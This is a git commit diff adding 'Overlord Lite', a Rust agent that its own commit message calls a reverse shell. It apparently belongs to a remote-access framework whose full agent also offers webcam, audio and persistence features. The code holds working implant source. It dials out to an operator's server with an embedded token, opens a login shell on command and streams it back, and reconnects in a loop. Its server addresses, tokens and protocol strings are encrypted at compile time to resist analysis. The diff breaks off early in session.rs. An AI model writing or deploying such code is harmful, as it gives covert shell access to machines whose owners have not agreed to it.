mess around with a rust agent version with just rev shell.

This commit is contained in:
KingKDot
2026-08-19 09:54:52 -05:00
parent 691e1c3ba4
commit 7a8fcf39ec
47 changed files with 4790 additions and 93 deletions
+2
View File
@@ -22,9 +22,11 @@ Overlord-Desktop/src/vendor/
Overlord-Desktop/src-tauri/target/
Overlord-Desktop/src-tauri/gen/
Overlord-Desktop/src-tauri/Cargo.lock
/Overlord-Lite/target/
# Configuration
config.json
!plugins/rust-lite-builder/config.json
# Docker
.env
+1260
View File
File diff suppressed because it is too large Load Diff
+39
View File
@@ -0,0 +1,39 @@
[package]
name = "overlord-lite"
version = "0.3.0"
edition = "2024"
rust-version = "1.88"
license = "Apache-2.0"
description = "Minimal Rust agent for authenticated Overlord sessions"
[dependencies]
anyhow = "1.0"
base64 = "0.22"
ed25519-dalek = { version = "2.2", features = ["rand_core"] }
futures-util = "0.3"
overlord-lite-string-obfuscator = { path = "string-obfuscator" }
portable-pty = "0.9"
rand_core = { version = "0.6", features = ["getrandom"] }
rmp-serde = "1.3"
rmpv = { version = "1.3", features = ["with-serde"] }
rustls = { version = "0.23", default-features = false, features = ["ring", "std"] }
serde = { version = "1.0", features = ["derive"] }
serde_bytes = "0.11"
serde_json = "1.0"
sha2 = "0.10"
tokio = { version = "1.48", features = ["macros", "rt-multi-thread", "signal", "sync", "time"] }
tokio-tungstenite = { version = "0.28", default-features = false, features = ["connect", "handshake", "rustls-tls-webpki-roots"] }
uuid = { version = "1.18", features = ["v4", "serde"] }
[build-dependencies]
serde_json = "1.0"
[dev-dependencies]
tempfile = "3.23"
[profile.release]
strip = true
lto = true
codegen-units = 1
panic = "abort"
opt-level = "z"
+107
View File
@@ -0,0 +1,107 @@
# Overlord Lite
Overlord Lite is a deliberately small Rust agent that proves the Overlord wire
protocol works independently of the full Go agent. It supports authenticated
server sessions, TLS identity pinning, heartbeats, and reconnection. It does
not advertise or execute remote commands beyond its interactive TTY console.
## Supported
- Agent-token authentication through `x-agent-token`
- TLS 1.3-only encrypted transport, with public-root or pinned self-signed identities
- Persistent Ed25519 identity and enrollment challenge signing
- MessagePack protocol negotiation
- Ping/pong heartbeat and reconnect/server rotation
- Interactive TTY console sessions with resize support
Plugins, desktop, file-manager, audio, webcam, persistence, update,
and other full-agent commands are intentionally omitted.
## Build
Rust 1.88 or newer is required.
```text
cd Overlord-Lite
cargo build --release
```
The output is `target/release/overlord-lite` (`overlord-lite.exe` on Windows).
The release profile enables size optimization, LTO, symbol stripping, and
abort-on-panic.
String literals that should not appear in plaintext in the executable can use
the local `obfstr!` procedural macro:
```rust
let header = overlord_lite::obfstr!("x-agent-token");
```
The macro encrypts the literal while compiling and returns a decrypted
`String` only when the expression runs. Builder-embedded server URLs, agent
tokens, build tags, TLS pins, and advertised Lite command names use it
automatically. This is binary obfuscation rather than secret storage: because
the executable must decrypt its own values, a determined analyst can still
recover them at runtime.
For Build-page integration, install `plugins/rust-lite-builder/rust-lite-builder.zip`
through the Plugin Manager. The Agent Type selector will then offer **Rust
Lite** and route selected targets through Cargo while retaining normal build
permissions, history, downloads, hooks, and file-share upload behavior. Cargo
and the requested Rust targets/linkers must be installed on the server host.
## Run
Configure the agent with the same token used by the server:
```powershell
$env:OVERLORD_SERVER = "wss://overlord.example.com:5173"
$env:OVERLORD_AGENT_TOKEN = "your-agent-token"
cargo run --release
```
Multiple servers may be comma-separated. Bare hosts default to `wss://`.
For a local development server using a self-signed certificate:
```powershell
$env:OVERLORD_SERVER = "wss://localhost:5173"
$env:OVERLORD_TLS_INSECURE_SKIP_VERIFY = "true"
cargo run
```
Disabling certificate verification also permits plaintext `ws://`. Do not
enable it for production deployments.
Builder-produced binaries automatically embed the server's active TLS SPKI
pin, so they securely accept its generated self-signed certificate without the
development bypass. For manual builds, `OVERLORD_TLS_SPKI_PINS` accepts one or
more comma-separated `sha256/<base64>` public-key pins.
## Configuration
| Variable | Default | Purpose |
| --- | --- | --- |
| `OVERLORD_SERVER` | `wss://127.0.0.1:5173` | One server, or a comma-separated rotation list |
| `OVERLORD_AGENT_TOKEN` | empty | Shared server agent token |
| `OVERLORD_BUILD_TAG` | compiled build tag | Runtime override for server build attribution |
| `OVERLORD_TLS_SPKI_PINS` | compiled server pins | Comma-separated trusted server public-key pins |
| `OVERLORD_TLS_INSECURE_SKIP_VERIFY` | `false` | Development-only TLS bypass |
| `OVERLORD_LITE_STATE_DIR` | platform state directory | Persistent client ID and Ed25519 seed |
| `OVERLORD_RECONNECT_DELAY_MS` | `5000` | Delay between connection attempts |
| `OVERLORD_PING_INTERVAL_MS` | `30000` | Application heartbeat interval |
The identity file is created once as `identity.json`. Keep it private: deleting
it creates a new identity that must enroll again.
The builder compiles `OVERLORD_LITE_DEFAULT_SERVER`,
`OVERLORD_LITE_DEFAULT_AGENT_TOKEN`, and `OVERLORD_LITE_DEFAULT_BUILD_TAG` into
the binary along with the server's TLS SPKI pins. Their corresponding runtime
variables take precedence, so one binary can still be redirected deliberately
after deployment.
## Protocol compatibility
`build.rs` reads `../protocol/wire-contract.json` during every build and
generates the Lite client's protocol version from the canonical contract. The
client advertises only the four version 1 console commands it implements.
+72
View File
@@ -0,0 +1,72 @@
use std::{env, fs, path::PathBuf};
use serde_json::Value;
fn main() {
for name in [
"OVERLORD_LITE_DEFAULT_SERVER",
"OVERLORD_LITE_DEFAULT_AGENT_TOKEN",
"OVERLORD_LITE_DEFAULT_BUILD_TAG",
"OVERLORD_LITE_DEFAULT_TLS_SPKI_PINS",
] {
println!("cargo:rerun-if-env-changed={name}");
}
let contract_path = PathBuf::from("../protocol/wire-contract.json");
println!("cargo:rerun-if-changed={}", contract_path.display());
let contract: Value = serde_json::from_slice(
&fs::read(&contract_path).expect("read protocol/wire-contract.json"),
)
.expect("parse protocol/wire-contract.json");
let protocol_version = contract["protocolVersion"]
.as_u64()
.expect("wire contract protocolVersion");
let mut generated = format!("pub const WIRE_PROTOCOL_VERSION: u16 = {protocol_version};\n");
for (name, env_name) in [
("built_default_server", "OVERLORD_LITE_DEFAULT_SERVER"),
(
"built_default_agent_token",
"OVERLORD_LITE_DEFAULT_AGENT_TOKEN",
),
("built_default_build_tag", "OVERLORD_LITE_DEFAULT_BUILD_TAG"),
(
"built_default_tls_spki_pins",
"OVERLORD_LITE_DEFAULT_TLS_SPKI_PINS",
),
] {
let value = env::var(env_name).unwrap_or_default();
generated.push_str(&format!(
"pub fn {name}() -> String {{ crate::obfstr!({value:?}) }}\n"
));
}
let commands = contract["commands"]
.as_array()
.expect("wire contract commands");
let default_version = contract["commandVersioning"]["defaultVersion"]
.as_u64()
.expect("wire contract default command version");
let lite_commands = [
"console_input",
"console_resize",
"console_start",
"console_stop",
];
for command in lite_commands {
assert!(
commands.iter().any(|value| value.as_str() == Some(command)),
"Lite command {command} is missing from the wire contract"
);
assert_eq!(
default_version, 1,
"Lite console handlers implement command version 1"
);
}
generated.push_str("pub fn lite_command_version_support() -> [(String, u16, u16); 4] { [\n");
for command in lite_commands {
generated.push_str(&format!(" (crate::obfstr!({command:?}), 1, 1),\n"));
}
generated.push_str("] }\n");
let output = PathBuf::from(env::var_os("OUT_DIR").expect("OUT_DIR")).join("wire_contract.rs");
fs::write(output, generated).expect("write generated Rust wire constants");
}
+234
View File
@@ -0,0 +1,234 @@
use std::{env, fmt, path::PathBuf, time::Duration};
use anyhow::{Context, Result, bail};
use base64::{Engine as _, engine::general_purpose::STANDARD};
use tokio_tungstenite::tungstenite::http::Uri;
use crate::{obfstr, protocol};
#[derive(Clone, Debug)]
pub struct Config {
pub servers: Vec<ServerUrl>,
pub agent_token: Option<String>,
pub build_tag: Option<String>,
pub insecure_tls: bool,
pub tls_spki_pins: Vec<[u8; 32]>,
pub state_dir: PathBuf,
pub reconnect_delay: Duration,
pub heartbeat_interval: Duration,
}
#[derive(Clone, Debug, Eq, PartialEq)]
pub struct ServerUrl {
normalized: String,
scheme: String,
}
impl ServerUrl {
pub fn parse(value: &str) -> Result<Self> {
parse_server_url(value)
}
pub fn as_str(&self) -> &str {
&self.normalized
}
pub fn scheme(&self) -> &str {
&self.scheme
}
}
impl fmt::Display for ServerUrl {
fn fmt(&self, formatter: &mut fmt::Formatter<'_>) -> fmt::Result {
formatter.write_str(&self.normalized)
}
}
impl Config {
pub fn from_env() -> Result<Self> {
let raw_servers = env::var(obfstr!("OVERLORD_SERVER")).unwrap_or_else(|_| {
let built_default = protocol::built_default_server();
if built_default.is_empty() {
obfstr!("wss://127.0.0.1:5173")
} else {
built_default
}
});
let servers = raw_servers
.split(',')
.map(str::trim)
.filter(|value| !value.is_empty())
.map(parse_server_url)
.collect::<Result<Vec<_>>>()?;
if servers.is_empty() {
bail!("OVERLORD_SERVER did not contain a server URL");
}
let insecure_tls = env_bool(&obfstr!("OVERLORD_TLS_INSECURE_SKIP_VERIFY"));
let raw_tls_spki_pins = env::var(obfstr!("OVERLORD_TLS_SPKI_PINS"))
.ok()
.filter(|value| !value.trim().is_empty())
.unwrap_or_else(protocol::built_default_tls_spki_pins);
let tls_spki_pins = parse_tls_spki_pins(&raw_tls_spki_pins)?;
if servers.iter().any(|url| url.scheme() == obfstr!("ws")) && !insecure_tls {
bail!("plaintext ws:// requires OVERLORD_TLS_INSECURE_SKIP_VERIFY=true");
}
Ok(Self {
servers,
agent_token: env::var(obfstr!("OVERLORD_AGENT_TOKEN"))
.ok()
.or_else(|| Some(protocol::built_default_agent_token()))
.filter(|value| !value.trim().is_empty()),
build_tag: env::var(obfstr!("OVERLORD_BUILD_TAG"))
.ok()
.or_else(|| Some(protocol::built_default_build_tag()))
.filter(|value| !value.trim().is_empty()),
insecure_tls,
tls_spki_pins,
state_dir: env::var_os(obfstr!("OVERLORD_LITE_STATE_DIR"))
.map(PathBuf::from)
.unwrap_or_else(default_state_dir),
reconnect_delay: env_duration(&obfstr!("OVERLORD_RECONNECT_DELAY_MS"), 5_000),
heartbeat_interval: env_duration(&obfstr!("OVERLORD_PING_INTERVAL_MS"), 30_000),
})
}
}
fn parse_tls_spki_pins(value: &str) -> Result<Vec<[u8; 32]>> {
value
.split(',')
.map(str::trim)
.filter(|pin| !pin.is_empty())
.map(|pin| {
let prefix = obfstr!("sha256/");
let encoded = pin.strip_prefix(&prefix).unwrap_or(pin);
let decoded = STANDARD
.decode(encoded)
.with_context(|| format!("invalid TLS SPKI pin {pin:?}"))?;
decoded
.try_into()
.map_err(|_| anyhow::anyhow!("invalid TLS SPKI pin {pin:?}: expected 32 bytes"))
})
.collect()
}
fn parse_server_url(value: &str) -> Result<ServerUrl> {
let separator = obfstr!("://");
let with_scheme = if value.contains(&separator) {
value.to_owned()
} else {
let mut server = obfstr!("wss://");
server.push_str(value);
server
};
let without_fragment = with_scheme.split('#').next().unwrap_or(&with_scheme);
let uri: Uri = without_fragment
.parse()
.with_context(|| format!("invalid server URL {value:?}"))?;
let input_scheme = uri
.scheme_str()
.ok_or_else(|| anyhow::anyhow!("server URL is missing a scheme"))?;
let scheme = if input_scheme == obfstr!("https") {
obfstr!("wss")
} else if input_scheme == obfstr!("http") {
obfstr!("ws")
} else if input_scheme == obfstr!("wss") || input_scheme == obfstr!("ws") {
input_scheme.to_owned()
} else {
bail!("unsupported server URL scheme {input_scheme:?}");
};
let authority = uri
.authority()
.ok_or_else(|| anyhow::anyhow!("server URL is missing a host"))?;
if authority.host().is_empty() || authority.as_str().contains('@') {
bail!("server URL has an invalid host");
}
Ok(ServerUrl {
normalized: format!("{scheme}://{authority}/"),
scheme,
})
}
fn env_bool(name: &str) -> bool {
env::var(name)
.map(|value| {
let normalized = value.trim().to_ascii_lowercase();
normalized == obfstr!("1")
|| normalized == obfstr!("true")
|| normalized == obfstr!("yes")
|| normalized == obfstr!("on")
})
.unwrap_or(false)
}
fn env_duration(name: &str, default_ms: u64) -> Duration {
let ms = env::var(name)
.ok()
.and_then(|value| value.trim().parse::<u64>().ok())
.unwrap_or(default_ms);
Duration::from_millis(ms)
}
fn default_state_dir() -> PathBuf {
#[cfg(target_os = "windows")]
if let Some(root) = env::var_os(obfstr!("LOCALAPPDATA")) {
return PathBuf::from(root)
.join(obfstr!("Overlord"))
.join(obfstr!("Lite"));
}
#[cfg(target_os = "macos")]
if let Some(root) = env::var_os(obfstr!("HOME")) {
return PathBuf::from(root)
.join(obfstr!("Library"))
.join(obfstr!("Application Support"))
.join(obfstr!("Overlord Lite"));
}
if let Some(root) = env::var_os(obfstr!("XDG_STATE_HOME")) {
return PathBuf::from(root).join(obfstr!("overlord-lite"));
}
if let Some(root) = env::var_os(obfstr!("HOME")) {
return PathBuf::from(root)
.join(obfstr!(".local"))
.join(obfstr!("state"))
.join(obfstr!("overlord-lite"));
}
PathBuf::from(obfstr!(".overlord-lite"))
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn normalizes_server_urls() {
assert_eq!(
ServerUrl::parse("example.com:5173").unwrap().as_str(),
"wss://example.com:5173/"
);
assert_eq!(
ServerUrl::parse("https://example.com/base")
.unwrap()
.as_str(),
"wss://example.com/"
);
assert_eq!(
ServerUrl::parse("http://[::1]:5173/path?ignored=true#fragment")
.unwrap()
.as_str(),
"ws://[::1]:5173/"
);
assert!(ServerUrl::parse("ftp://example.com").is_err());
assert!(ServerUrl::parse("wss://user@example.com").is_err());
}
#[test]
fn parses_prefixed_and_plain_spki_pins() {
let encoded = STANDARD.encode([0x42; 32]);
let pins = parse_tls_spki_pins(&format!("sha256/{encoded},{encoded}")).unwrap();
assert_eq!(pins, vec![[0x42; 32], [0x42; 32]]);
assert!(parse_tls_spki_pins("not-a-pin").is_err());
}
}
+283
View File
@@ -0,0 +1,283 @@
use std::{
collections::HashMap,
env,
io::{Read, Write},
sync::LazyLock,
thread,
};
use anyhow::{Context, Result, anyhow, bail};
use portable_pty::{ChildKiller, CommandBuilder, MasterPty, PtySize, native_pty_system};
use tokio::sync::mpsc::Sender;
use crate::obfstr;
use crate::protocol::{self, ConsoleOutput};
const DEFAULT_COLS: u16 = 120;
const DEFAULT_ROWS: u16 = 36;
const MAX_DIMENSION: u16 = 1_000;
static CONSOLE_OUTPUT: LazyLock<String> = LazyLock::new(|| obfstr!("console_output"));
struct ConsoleSession {
master: Box<dyn MasterPty + Send>,
writer: Box<dyn Write + Send>,
killer: Box<dyn ChildKiller + Send + Sync>,
}
pub struct ConsoleHub {
sessions: HashMap<String, ConsoleSession>,
outbound: Sender<Vec<u8>>,
}
impl ConsoleHub {
pub fn new(outbound: Sender<Vec<u8>>) -> Self {
Self {
sessions: HashMap::new(),
outbound,
}
}
pub fn start(&mut self, session_id: &str, cols: i64, rows: i64) -> Result<()> {
validate_session_id(session_id)?;
self.stop(session_id);
let size = terminal_size(cols, rows);
let pair = native_pty_system().openpty(size).context("open terminal")?;
let mut command = shell_command();
command.env(obfstr!("TERM"), obfstr!("xterm-256color"));
let child = pair
.slave
.spawn_command(command)
.context("start terminal shell")?;
drop(pair.slave);
let reader = pair
.master
.try_clone_reader()
.context("open terminal output")?;
let writer = pair.master.take_writer().context("open terminal input")?;
let killer = child.clone_killer();
spawn_output_forwarder(session_id.to_owned(), reader, child, self.outbound.clone());
self.sessions.insert(
session_id.to_owned(),
ConsoleSession {
master: pair.master,
writer,
killer,
},
);
Ok(())
}
pub fn write(&mut self, session_id: &str, data: &str) -> Result<()> {
let session = self
.sessions
.get_mut(session_id)
.ok_or_else(|| anyhow!("console session not found"))?;
session
.writer
.write_all(data.as_bytes())
.context("write terminal input")?;
session.writer.flush().context("flush terminal input")
}
pub fn resize(&self, session_id: &str, cols: i64, rows: i64) -> Result<()> {
let session = self
.sessions
.get(session_id)
.ok_or_else(|| anyhow!("console session not found"))?;
session
.master
.resize(terminal_size(cols, rows))
.context("resize terminal")
}
pub fn stop(&mut self, session_id: &str) {
if let Some(mut session) = self.sessions.remove(session_id) {
let _ = session.killer.kill();
}
}
pub fn stop_all(&mut self) {
for (_, mut session) in self.sessions.drain() {
let _ = session.killer.kill();
}
}
}
impl Drop for ConsoleHub {
fn drop(&mut self) {
self.stop_all();
}
}
fn spawn_output_forwarder(
session_id: String,
mut reader: Box<dyn Read + Send>,
mut child: Box<dyn portable_pty::Child + Send + Sync>,
outbound: Sender<Vec<u8>>,
) {
thread::spawn(move || {
let mut buffer = [0u8; 4096];
loop {
match reader.read(&mut buffer) {
Ok(0) => break,
Ok(size) => send_output(&outbound, &session_id, Some(&buffer[..size]), None, None),
Err(error) => {
send_output(&outbound, &session_id, None, None, Some(&error.to_string()));
break;
}
}
}
match child.wait() {
Ok(status) => send_output(
&outbound,
&session_id,
None,
Some(i32::try_from(status.exit_code()).unwrap_or(i32::MAX)),
None,
),
Err(error) => send_output(&outbound, &session_id, None, None, Some(&error.to_string())),
}
});
}
fn send_output(
outbound: &Sender<Vec<u8>>,
session_id: &str,
data: Option<&[u8]>,
exit_code: Option<i32>,
error: Option<&str>,
) {
let message = ConsoleOutput {
message_type: CONSOLE_OUTPUT.as_str(),
session_id,
data: data.map(serde_bytes::Bytes::new),
exit_code,
error,
};
if let Ok(encoded) = protocol::encode(&message) {
let _ = outbound.blocking_send(encoded);
}
}
fn shell_command() -> CommandBuilder {
if cfg!(windows) {
return CommandBuilder::new(
env::var_os(obfstr!("COMSPEC")).unwrap_or_else(|| obfstr!("cmd.exe").into()),
);
}
let shell = env::var_os(obfstr!("SHELL")).unwrap_or_else(|| {
if cfg!(target_os = "macos") {
obfstr!("/bin/zsh").into()
} else {
obfstr!("/bin/bash").into()
}
});
let mut command = CommandBuilder::new(shell);
command.arg(obfstr!("-l"));
command
}
fn validate_session_id(session_id: &str) -> Result<()> {
if session_id.is_empty() {
bail!("missing console session id");
}
if session_id.len() > 128 {
bail!("console session id is too long");
}
Ok(())
}
fn terminal_size(cols: i64, rows: i64) -> PtySize {
PtySize {
cols: dimension(cols, DEFAULT_COLS),
rows: dimension(rows, DEFAULT_ROWS),
pixel_width: 0,
pixel_height: 0,
}
}
fn dimension(value: i64, default: u16) -> u16 {
if value <= 0 {
default
} else {
u16::try_from(value)
.unwrap_or(MAX_DIMENSION)
.min(MAX_DIMENSION)
}
}
#[cfg(test)]
mod tests {
use super::*;
use std::time::{Duration, Instant};
#[test]
fn terminal_dimensions_are_defaulted_and_bounded() {
assert_eq!(
terminal_size(0, -1),
PtySize {
cols: 120,
rows: 36,
pixel_width: 0,
pixel_height: 0
}
);
assert_eq!(terminal_size(2_000, 50).cols, 1_000);
assert_eq!(terminal_size(80, 50).rows, 50);
}
#[test]
fn session_ids_are_required_and_bounded() {
assert!(validate_session_id("").is_err());
assert!(validate_session_id(&"x".repeat(129)).is_err());
assert!(validate_session_id("console-1").is_ok());
}
#[test]
fn terminal_streams_command_output() {
let (tx, mut rx) = tokio::sync::mpsc::channel(64);
let mut hub = ConsoleHub::new(tx);
hub.start("smoke", 80, 24).unwrap();
let input = if cfg!(windows) {
"\x1b[1;1Recho overlord-lite-tty\r\nexit\r\n"
} else {
"echo overlord-lite-tty\nexit\n"
};
hub.write("smoke", input).unwrap();
let deadline = Instant::now() + Duration::from_secs(10);
let mut output = Vec::new();
while Instant::now() < deadline {
match rx.try_recv() {
Ok(message) => {
let decoded = protocol::decode(&message).unwrap();
if let Some(rmpv::Value::Binary(data)) = protocol::field(&decoded, "data") {
output.extend_from_slice(data);
if String::from_utf8_lossy(&output).contains("overlord-lite-tty") {
break;
}
}
if protocol::integer_field(&decoded, "exitCode").is_some() {
break;
}
}
Err(tokio::sync::mpsc::error::TryRecvError::Empty) => {
thread::sleep(Duration::from_millis(10));
}
Err(tokio::sync::mpsc::error::TryRecvError::Disconnected) => break,
}
}
hub.stop_all();
assert!(
String::from_utf8_lossy(&output).contains("overlord-lite-tty"),
"terminal output did not contain the marker: {:?}",
String::from_utf8_lossy(&output)
);
}
}
+91
View File
@@ -0,0 +1,91 @@
use std::{fs, path::Path};
use anyhow::{Context, Result, bail};
use base64::{Engine as _, engine::general_purpose::STANDARD};
use ed25519_dalek::{Signer, SigningKey};
use rand_core::OsRng;
use serde::{Deserialize, Serialize};
use sha2::{Digest, Sha256};
use uuid::Uuid;
#[derive(Debug)]
pub struct Identity {
pub client_id: String,
signing_key: SigningKey,
}
#[derive(Serialize, Deserialize)]
struct StoredIdentity {
client_id: String,
seed_base64: String,
}
impl Identity {
pub fn load_or_create(state_dir: &Path) -> Result<Self> {
fs::create_dir_all(state_dir)
.with_context(|| format!("create state directory {}", state_dir.display()))?;
let path = state_dir.join("identity.json");
if path.exists() {
let data = fs::read(&path).with_context(|| format!("read {}", path.display()))?;
let stored: StoredIdentity = serde_json::from_slice(&data)
.with_context(|| format!("parse {}", path.display()))?;
let seed = STANDARD
.decode(stored.seed_base64)
.context("decode identity seed")?;
let seed: [u8; 32] = seed
.try_into()
.map_err(|_| anyhow::anyhow!("identity seed must be 32 bytes"))?;
return Ok(Self {
client_id: stored.client_id,
signing_key: SigningKey::from_bytes(&seed),
});
}
let signing_key = SigningKey::generate(&mut OsRng);
let identity = Self {
client_id: Uuid::new_v4().to_string(),
signing_key,
};
let stored = StoredIdentity {
client_id: identity.client_id.clone(),
seed_base64: STANDARD.encode(identity.signing_key.to_bytes()),
};
let temp_path = state_dir.join("identity.json.tmp");
fs::write(&temp_path, serde_json::to_vec_pretty(&stored)?)
.with_context(|| format!("write {}", temp_path.display()))?;
set_private_permissions(&temp_path)?;
fs::rename(&temp_path, &path).with_context(|| format!("install {}", path.display()))?;
Ok(identity)
}
pub fn public_key_base64(&self) -> String {
STANDARD.encode(self.signing_key.verifying_key().as_bytes())
}
pub fn sign_base64(&self, nonce_base64: &str) -> Result<String> {
let nonce = STANDARD
.decode(nonce_base64)
.context("decode enrollment nonce")?;
if nonce.is_empty() {
bail!("enrollment nonce was empty");
}
Ok(STANDARD.encode(self.signing_key.sign(&nonce).to_bytes()))
}
pub fn fingerprint(&self) -> String {
let digest = Sha256::digest(self.signing_key.verifying_key().as_bytes());
digest.iter().map(|byte| format!("{byte:02x}")).collect()
}
}
#[cfg(unix)]
fn set_private_permissions(path: &Path) -> Result<()> {
use std::os::unix::fs::PermissionsExt;
fs::set_permissions(path, fs::Permissions::from_mode(0o600))?;
Ok(())
}
#[cfg(not(unix))]
fn set_private_permissions(_path: &Path) -> Result<()> {
Ok(())
}
+11
View File
@@ -0,0 +1,11 @@
extern crate self as overlord_lite;
pub use overlord_lite_string_obfuscator::obfstr;
pub mod config;
pub mod console;
pub mod identity;
pub mod obfuscation;
pub mod protocol;
pub mod session;
pub mod tls;
+53
View File
@@ -0,0 +1,53 @@
use anyhow::Result;
use overlord_lite::{config::Config, identity::Identity, session};
#[tokio::main]
async fn main() -> Result<()> {
let config = Config::from_env()?;
let identity = Identity::load_or_create(&config.state_dir)?;
eprintln!(
"Overlord Lite {} starting as {} (identity {})",
env!("CARGO_PKG_VERSION"),
identity.client_id,
identity.fingerprint()
);
if config.insecure_tls {
eprintln!("WARNING: TLS certificate verification is disabled");
} else if !config.tls_spki_pins.is_empty() {
eprintln!(
"TLS server identity pinning enabled ({} trusted key{})",
config.tls_spki_pins.len(),
if config.tls_spki_pins.len() == 1 {
""
} else {
"s"
},
);
}
let mut server_index = 0usize;
loop {
let server = &config.servers[server_index % config.servers.len()];
eprintln!("connecting to {server}");
tokio::select! {
result = session::run(&config, &identity, server) => {
match result {
Ok(()) => eprintln!("session ended"),
Err(error) => eprintln!("session error: {error:#}"),
}
}
_ = tokio::signal::ctrl_c() => {
eprintln!("shutdown requested");
return Ok(());
}
}
server_index = (server_index + 1) % config.servers.len();
tokio::select! {
_ = tokio::time::sleep(config.reconnect_delay) => {}
_ = tokio::signal::ctrl_c() => return Ok(()),
}
}
}
+38
View File
@@ -0,0 +1,38 @@
/// Reconstructs a string emitted by `obfstr!`.
///
/// `black_box` plus the non-inlined boundary keeps release LTO from replacing
/// the call with a plaintext constant. This is binary obfuscation, not secret
/// storage: a determined analyst can still recover strings from a running
/// process or reverse the decoder.
#[inline(never)]
pub fn decrypt(encrypted: &[u8], seed: u64) -> String {
let encrypted = std::hint::black_box(encrypted);
let mut state = std::hint::black_box(seed | 1);
let plaintext = encrypted
.iter()
.map(|byte| byte ^ next_key_byte(&mut state))
.collect();
String::from_utf8(plaintext).expect("obfstr generated invalid UTF-8")
}
fn next_key_byte(state: &mut u64) -> u8 {
*state ^= *state >> 12;
*state ^= *state << 25;
*state ^= *state >> 27;
(state.wrapping_mul(0x2545_f491_4f6c_dd1d) >> 56) as u8
}
#[cfg(test)]
mod tests {
use crate::obfstr;
#[test]
fn decrypts_compile_time_string() {
assert_eq!(
obfstr!("overlord-obfuscation-marker"),
"overlord-obfuscation-marker"
);
assert_eq!(obfstr!("Unicode: ☃"), "Unicode: ☃");
assert!(obfstr!("").is_empty());
}
}
+140
View File
@@ -0,0 +1,140 @@
use std::collections::BTreeMap;
use anyhow::{Context, Result, anyhow};
use rmpv::Value;
use serde::Serialize;
include!(concat!(env!("OUT_DIR"), "/wire_contract.rs"));
#[derive(Clone, Debug, Serialize)]
#[serde(rename_all = "camelCase")]
pub struct CommandVersionRange {
pub min: u16,
pub max: u16,
}
#[derive(Debug, Serialize)]
#[serde(rename_all = "camelCase")]
pub struct Hello<'a> {
#[serde(rename = "type")]
pub message_type: &'static str,
pub id: &'a str,
pub hwid: &'a str,
pub host: String,
pub os: &'static str,
pub arch: &'static str,
pub version: &'static str,
pub user: String,
pub monitors: u8,
#[serde(skip_serializing_if = "Option::is_none")]
pub build_tag: Option<&'a str>,
pub public_key: &'a str,
pub signature: &'a str,
pub protocol_version: u16,
pub command_versions: BTreeMap<String, CommandVersionRange>,
}
#[derive(Debug, Serialize)]
pub struct Ping {
#[serde(rename = "type")]
pub message_type: &'static str,
pub ts: i64,
}
#[derive(Debug, Serialize)]
#[serde(rename_all = "camelCase")]
pub struct CommandResult<'a> {
#[serde(rename = "type")]
pub message_type: &'static str,
pub command_id: &'a str,
pub command_type: &'a str,
pub command_version: u16,
pub ok: bool,
#[serde(skip_serializing_if = "Option::is_none")]
pub message: Option<&'a str>,
#[serde(skip_serializing_if = "Option::is_none")]
pub error_code: Option<&'a str>,
}
#[derive(Debug, Serialize)]
#[serde(rename_all = "camelCase")]
pub struct ConsoleOutput<'a> {
#[serde(rename = "type")]
pub message_type: &'static str,
pub session_id: &'a str,
#[serde(skip_serializing_if = "Option::is_none")]
pub data: Option<&'a serde_bytes::Bytes>,
#[serde(skip_serializing_if = "Option::is_none")]
pub exit_code: Option<i32>,
#[serde(skip_serializing_if = "Option::is_none")]
pub error: Option<&'a str>,
}
pub fn encode<T: Serialize>(value: &T) -> Result<Vec<u8>> {
rmp_serde::to_vec_named(value).context("encode MessagePack")
}
pub fn decode(bytes: &[u8]) -> Result<Value> {
rmp_serde::from_slice(bytes).context("decode MessagePack")
}
pub fn field<'a>(value: &'a Value, name: &str) -> Option<&'a Value> {
value
.as_map()?
.iter()
.find_map(|(key, value)| (key.as_str() == Some(name)).then_some(value))
}
pub fn string_field<'a>(value: &'a Value, name: &str) -> Option<&'a str> {
field(value, name)?.as_str()
}
pub fn required_string<'a>(value: &'a Value, name: &str) -> Result<&'a str> {
string_field(value, name).ok_or_else(|| anyhow!("missing or invalid {name}"))
}
pub fn integer_field(value: &Value, name: &str) -> Option<i64> {
let value = field(value, name)?;
value
.as_i64()
.or_else(|| value.as_u64().and_then(|number| i64::try_from(number).ok()))
}
pub fn command_versions() -> BTreeMap<String, CommandVersionRange> {
lite_command_version_support()
.into_iter()
.map(|(command, min, max)| (command, CommandVersionRange { min, max }))
.collect()
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn advertises_only_console_commands() {
let commands = command_versions();
assert_eq!(commands.len(), 4);
for command in [
"console_input",
"console_resize",
"console_start",
"console_stop",
] {
let versions = commands.get(command).unwrap();
assert_eq!(versions.min, 1);
assert_eq!(versions.max, 1);
}
}
#[test]
fn messagepack_uses_wire_field_names() {
let ping = Ping {
message_type: "ping",
ts: 123,
};
let decoded = decode(&encode(&ping).unwrap()).unwrap();
assert_eq!(string_field(&decoded, "type"), Some("ping"));
assert_eq!(integer_field(&decoded, "ts"), Some(123));
}
}
+521
View File
@@ -0,0 +1,521 @@
use std::{
sync::LazyLock,
time::{Duration, SystemTime, UNIX_EPOCH},
};
use crate::{
config::{Config, ServerUrl},
console::ConsoleHub,
identity::Identity,
obfstr,
protocol::{self, CommandResult, Hello, Ping},
tls,
};
use anyhow::{Context, Result, anyhow, bail};
use futures_util::{SinkExt, StreamExt};
use rmpv::Value;
use tokio::net::TcpStream;
use tokio_tungstenite::{
MaybeTlsStream, WebSocketStream, connect_async_tls_with_config,
tungstenite::{
Message,
client::IntoClientRequest,
http::{HeaderName, HeaderValue},
},
};
type Socket = WebSocketStream<MaybeTlsStream<TcpStream>>;
static API_CLIENTS_PREFIX: LazyLock<String> = LazyLock::new(|| obfstr!("/api/clients/"));
static STREAM_WS_SUFFIX: LazyLock<String> = LazyLock::new(|| obfstr!("/stream/ws"));
static ROLE_CLIENT: LazyLock<String> = LazyLock::new(|| obfstr!("role=client"));
static WEBSOCKET_PROTOCOL_HEADER: LazyLock<String> =
LazyLock::new(|| obfstr!("Sec-WebSocket-Protocol"));
static AGENT_TOKEN_HEADER: LazyLock<String> = LazyLock::new(|| obfstr!("x-agent-token"));
static BINARY_PROTOCOL: LazyLock<String> = LazyLock::new(|| obfstr!("binary"));
static FIELD_TYPE: LazyLock<String> = LazyLock::new(|| obfstr!("type"));
static FIELD_NONCE: LazyLock<String> = LazyLock::new(|| obfstr!("nonce"));
static FIELD_STATUS: LazyLock<String> = LazyLock::new(|| obfstr!("status"));
static FIELD_ID: LazyLock<String> = LazyLock::new(|| obfstr!("id"));
